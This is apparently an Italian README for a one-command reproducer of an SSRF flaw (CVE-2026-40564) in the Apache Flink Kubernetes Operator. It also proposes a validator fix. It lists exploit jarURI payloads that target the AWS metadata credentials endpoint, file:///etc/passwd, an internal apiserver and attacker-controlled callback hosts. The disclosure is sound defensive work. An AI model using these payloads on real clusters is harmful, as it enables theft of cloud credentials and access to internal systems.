
CVE-2026-40564: SSRF tramite jarURI di FlinkSessionJob in apache/flink-kubernetes-operator. Reproducer autonomo eseguibile su un cluster kind locale con un solo comando make.
L'Apache Flink Kubernetes Operator non controlla il campo spec.job.jarURI nelle risorse FlinkSessionJob (o FlinkDeployment). Chiunque possa creare una di queste risorse può impostare jarURI su un URL qualsiasi. Quando l'operator riconcilia la risorsa, recupera quell'URL dall'interno del proprio pod. Lo schema può essere http, https, file o uno qualsiasi dei plugin di filesystem inclusi in Flink, quindi la richiesta può arrivare quasi ovunque il pod dell'operator possa raggiungere.
main (1.15-SNAPSHOT al 2026-04-09)[email protected] e [email protected] il 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Questo esegue cinque passaggi in ordine:
FlinkSessionJob il cui jarURI punta a quell'URLQuando funziona, la fine dell'esecuzione si presenta così:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
La prima esecuzione richiede dai 6 agli 8 minuti. La maggior parte del tempo serve a scaricare l'immagine flink:1.17, che pesa circa 700 MB. Le esecuzioni successive richiedono circa 3 minuti.
docker, kind, kubectl 1.23 o successivo, helm 3, make, curl e jq. Il cluster deve poter raggiungere internet per comunicare con webhook.site.
Di default il Makefile recupera per te un nuovo URL di webhook.site. Per inviare la richiesta altrove, imposta SSRF_URL con il jarURI completo che desideri. Viene usato esattamente come scritto.
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd
Il modo in cui la verifica conferma il risultato dipende dal target. Se l'URL è su webhook.site, il Makefile legge la sua REST API e stampa le richieste catturate. Per qualsiasi altra destinazione legge il log dell'operator e cerca lo stack frame di HttpArtifactFetcher.fetch, che dimostra che il fetch è stato eseguito. Anche WEBHOOK_URL funziona e significa la stessa cosa di SSRF_URL.
make cleanup
Questo rimuove il cluster kind. Non rimane nulla.
Sono coinvolte tre classi e nessuna di esse esamina lo schema, l'host o l'IP in jarURI.
DefaultValidator.validateJobSpec controlla il parallelismo, la modalità di upgrade, le impostazioni dei savepoint e la forma delle risorse. Non legge mai job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch sceglie un fetcher in base allo schema. Non esiste alcuna allowlist e qualsiasi cosa che non sia http o https ricade sul layer filesystem di Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch apre l'URL così com'è. Non c'è alcun controllo sull'host, nessun controllo sugli intervalli di IP e nulla che impedisca di raggiungere indirizzi loopback o link-local:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
L'operator di solito viene eseguito con RBAC molto ampi. Il chart Helm ufficiale concede * su diversi tipi di risorse, inclusi i segreti, e il pod normalmente può raggiungere la rete senza restrizioni. Se riesci a fargli inviare richieste per te, puoi:
FlinkSessionJobIn un cluster condiviso dove più team usano lo stesso operator, ognuno di essi può usarlo per raggiungere le risorse di un altro team.
Il reproducer usa webhook.site come valore predefinito, ma il bug non si cura di quale sia l'URL. Imposta SSRF_URL, oppure modifica manifests/vulnerable-sessionjob.yaml, con uno di questi:
Aggiungi un controllo a DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
Assegna a KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES un valore predefinito di Set.of("https"). Gli operator che hanno bisogno di s3 o di un altro schema possono aggiungerlo.
Altre due cose che vale la pena fare:
NetworkPolicy per il pod dell'operator che blocchi l'egress verso link-local (169.254.0.0/16), loopback e i noti indirizzi dei metadata cloud.Il Makefile aggira due problemi che rompono kind su Linux. Ogni controllo viene eseguito solo quando il problema è effettivamente presente, quindi è sicuro eseguirlo di nuovo.
/etc/resolv.conf del nodo kind punta a 127.0.0.1, quindi il cluster risolve i nomi esterni su localhost. Il passaggio cluster-up riscrive la configurazione di CoreDNS per inoltrare a 1.1.1.1 e 8.8.8.8.ndots impostato a 5, un nome come webhook.site riceve prima i domini di ricerca dell'host e alcuni ISP rispondono con 127.0.0.1 per i sottodomini che non riconoscono. Il passaggio install-operator assegna al pod dell'operator un dnsConfig dedicato, così questo non accade.Se un'esecuzione completa fallisce a metà strada, puoi eseguire make verify-ssrf da solo. Legge il jarURI dal FlinkSessionJob attivo, quindi non dipende da nulla di salvato localmente.
jarURI |
|---|
| Raggiunge |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, le credenziali IAM del nodo del pod dell'operator |
http://10.0.0.1:6443/api | Un apiserver nel cluster, o qualsiasi endpoint interno che inserisca in allowlist l'IP dell'operator |
file:///etc/passwd | Il filesystem del pod dell'operator, tramite il ramo del filesystem fetcher |
s3://attacker-bucket/x.jar | S3, usando le credenziali del pod dell'operator |